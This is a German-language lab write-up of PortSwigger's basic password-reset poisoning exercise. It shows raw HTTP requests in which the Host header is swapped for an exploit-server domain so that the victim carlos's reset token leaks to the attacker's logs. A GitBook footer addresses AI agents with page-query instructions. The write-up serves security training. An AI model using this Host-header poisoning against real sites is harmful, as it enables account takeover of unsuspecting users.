> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/host-header/basic-password-reset-poisoning.md).

# Grundlegende Vergiftung des Passwortzurücksetzmechanismus

### Einfaches Poisoning beim Zurücksetzen von Passwörtern

**Beschreibung des Labs**

Dieses Lab weist eine Schwachstelle für das Poisoning des Passwortzurücksetzungsprozesses auf. / Benutzer **carlos** klickt ohne Vorsicht auf alle per E-Mail erhaltenen Links.

Ziel:

* Nutzen Sie diese Schwachstelle, um einen gültigen Reset-Link wiederherzustellen
* Anmelden bei **Carlos' Konto**

Bereitgestellter Bezeichner:

* Benutzer: **wiener**
* Passwort: **peter**

Auf alle an dieses Konto gesendeten E-Mails kann über den E-Mail-Client des Servers\*\* zugegriffen werden.

**Erste Beobachtung**

Die App bietet ein \*\*

<figure><img src="/files/39e49f71384a1a7deff854baf4f411281b5f83da" alt=""><figcaption></figcaption></figure>

Beim Eingeben des `wiener` Benutzer wird eine Zurücksetzungs-E-Mail korrekt gesendet.

<figure><img src="/files/e229894220c5fe59e8fb62666bbe5fec31ca37bc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/74607650200c725f19b09345164dc82c30c697ee" alt=""><figcaption></figcaption></figure>

**Analyse der Backend-Anfrage**

Die während der Zurücksetzungsanfrage gesendete HTTP-Anfrage lautet wie folgt:

```http
POST /forgot-password HTTP/2
Host: 0af900f303cc106580bb030b00540086.web-security-academy.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53

csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=wiener
```

<figure><img src="/files/759bc5a7203607e85dcf322b4fe414cf2d35765d" alt=""><figcaption></figcaption></figure>

**Test zur Manipulation des Host-Headers**

Durch Ersetzen des `Host` Header-Werts durch eine beliebige Domain (z. B. `test.com`), verarbeitet der Server die Anfrage immer als gültig und generiert den Zurücksetzungslink aus diesem modifizierten Host.

```http
Host: test.com
```

Die Seite interpretiert den Inhalt genauso wie die normale Host-Seite.

<figure><img src="/files/c847ddb07417c7d7ce9cd23e43de6877d70485e5" alt=""><figcaption></figcaption></figure>

Dies bestätigt ein übermäßiges Vertrauen in den Host\*\*-Header.

**Ausnutzung der Schwachstelle**

Der Angriff besteht aus:

1. Ändern Sie den `Host` Header, um die Domain**Exploit-Server**
2. Zurücksetzung für Benutzer anfordern **carlos**

Anwendung:

```http
POST /forgot-password HTTP/2
Host: exploit-0a5c001303a8105f80b302b10120000a.exploit-server.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53

csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=carlos
```

**Ergebnis**

* Der Server generiert einen Zurücksetzungslink basierend auf **vom Angreifer kontrollierter Host**
* Benutzer **carlos** klicken Sie auf diesen per E-Mail erhaltenen präparierten Link
* Der Reset-Token ist dann in den Logs des Exploit-Servers sichtbar
* Sie können für das Konto ein neues Passwort festlegen **carlos**
* Erfolgreiche Verbindung zum Zielkonto

<figure><img src="/files/eccc8f3d521be7112fd29f15cd6ca197f911f05c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/host-header/basic-password-reset-poisoning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
